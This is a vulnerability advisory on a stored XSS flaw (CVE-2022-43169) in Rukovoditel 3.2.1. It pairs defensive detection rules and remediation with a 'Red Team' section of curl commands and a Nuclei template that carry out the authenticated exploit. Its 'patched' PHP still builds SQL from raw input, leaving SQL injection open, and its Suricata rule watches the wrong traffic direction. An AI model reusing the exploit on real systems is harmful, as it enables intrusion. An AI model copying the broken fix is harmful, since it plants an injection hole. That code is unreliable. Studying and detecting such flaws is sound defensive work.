CVE-2022-43169

Executive Summary

CVE-2022-43169 is a stored cross-site scripting (XSS) vulnerability in Rukovoditel version 3.2.1, specifically within the Users Access Groups feature. An authenticated attacker can inject arbitrary JavaScript or HTML into the "Name" parameter when creating a new group. This payload is stored on the server and executed in the browsers of other users who view the affected page, potentially leading to session hijacking, data theft, or application defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium) and is confirmed by a public Nuclei template. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the Rukovoditel web application, which is a PHP-based project management tool. The risk is limited to organizations that self-host this application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated.
• User Interaction: Required (UI:R) – victim must view the affected page.
• Scope: Changed (S:C) – the vulnerability impacts resources beyond the original scope.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication, but the stored XSS can affect all users with access to the Users Access Groups page, including administrators.

Deep Dive & Mechanics

The vulnerability resides in the /index.php?module=users_groups/users_groups endpoint. When an authenticated user creates a new group via the "Add New Group" form, the name parameter is not properly sanitized or encoded before being stored in the database. When the group list is rendered, the injected payload is executed in the context of the victim's browser.

Root Cause: Lack of output encoding or input validation on the name parameter. The application likely uses echo or similar functions without escaping HTML entities.

Attack Flow:

1. Attacker authenticates to Rukovoditel.
2. Attacker navigates to the Users Access Groups page.
3. Attacker submits a POST request with a malicious payload in the name parameter (e.g., <script>alert(document.domain)</script>).
4. The payload is stored in the database.
5. When any user (including administrators) views the group list, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel 3.2.1):

// In the group creation handler
$name = $_POST['name'];
// No sanitization or encoding
$sql = "INSERT INTO users_groups (name) VALUES ('$name')";
// Later, when displaying:
echo "<td>" . $group['name'] . "</td>";

Patched Code (Hypothetical):

// Input sanitization
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO users_groups (name) VALUES ('$name')";
// Output encoding
echo "<td>" . htmlspecialchars($group['name'], ENT_QUOTES, 'UTF-8') . "</td>";

The patched version would use htmlspecialchars() or a similar function to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for a Rukovoditel user account.
• Network access to the Rukovoditel instance.

Exploitation Steps:

1. Authenticate to the application.
2. Obtain a session token (nonce) from the login page.
3. Send a POST request to create a malicious group.

Example using cURL:

# Step 1: Login and extract nonce
curl -c cookies.txt -s "http://target/index.php?module=users/login" | grep -oP 'id="form_session_token" value="\K[^"]+'

# Step 2: Login with credentials
curl -b cookies.txt -c cookies.txt -X POST "http://target/index.php?module=users/login&action=login" \
  -d "form_session_token=NONCE&username=USER&password=PASS"

# Step 3: Create malicious group
curl -b cookies.txt -X POST "http://target/index.php?module=users_groups/users_groups&action=save&token=NONCE" \
  -d "form_session_token=NONCE&name=<script>alert(document.domain)</script>&sort_order=&notes=&ldap_filter="

Nuclei Template (Provided):

id: CVE-2022-43169

info:
  name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability in the Users Access Groups feature (/index.php?module=users_groups/users_groups) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add New Group".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the necessary patches provided by the vendor to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/3
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43169
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-43169
    cwe-id: CWE-79
    epss-score: 0.07331
    epss-percentile: 0.91717
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=users_groups/users_groups&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=&notes=&ldap_filter=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

Blue Team

Detection Steps:

1. Monitor web server logs for POST requests to /index.php?module=users_groups/users_groups&action=save with suspicious name parameters containing <script> tags or other HTML/JavaScript.
2. Review database entries in the users_groups table for encoded or malicious content.
3. Use the provided YARA and Sigma rules to detect exploitation attempts.

Hunting Queries:

• Splunk: index=web sourcetype=access_combined uri_path="/index.php" uri_query="*module=users_groups/users_groups*action=save*" | search name=*<script>*
• ELK: http.request.uri: "/index.php" AND http.request.uri.query: "*module=users_groups/users_groups*action=save*" AND http.request.body: "*<script>*"

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php?module=users_groups/users_groups&action=save with name parameter containing <script> tags.
  • Repeated login attempts followed by group creation requests from the same IP.
• File IOCs:
  • Database entries in users_groups table with name field containing HTML/JavaScript.
• Behavioral IOCs:
  • Unexpected pop-ups or alerts when viewing the Users Access Groups page.
  • Unauthorized changes to user groups or permissions.

Detection Engineering

YARA Rule

rule CVE_2022_43169_Rukovoditel_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel database exports or logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-43169"
        severity = "medium"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $rukovoditel_group = /users_groups/i
    condition:
        $xss_payload and $rukovoditel_group
}

Sigma Rule

title: CVE-2022-43169 - Rukovoditel Stored XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in Rukovoditel Users Access Groups
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43169
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'module=users_groups/users_groups&action=save*'
        cs-uri-stem: '/index.php'
    keywords:
        - '<script'
        - 'alert('
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in group names (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-43169 - Rukovoditel Stored XSS Exploit Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php";
    http_uri;
    content:"module=users_groups/users_groups";
    http_uri;
    content:"action=save";
    http_uri;
    content:"name=";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2022-43169;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
2. Input Validation: Implement server-side validation to strip or encode HTML tags from the name parameter.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering (e.g., using htmlspecialchars() in PHP).
4. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> tags in the name parameter.
5. Least Privilege: Restrict access to the Users Access Groups feature to only trusted administrators.

Long-Term Fixes:

• Apply Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits and code reviews.
• Monitor vendor channels for official patches.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.

{/* [Security Hash: 165D0063C2C5982ED08F6BB0] */}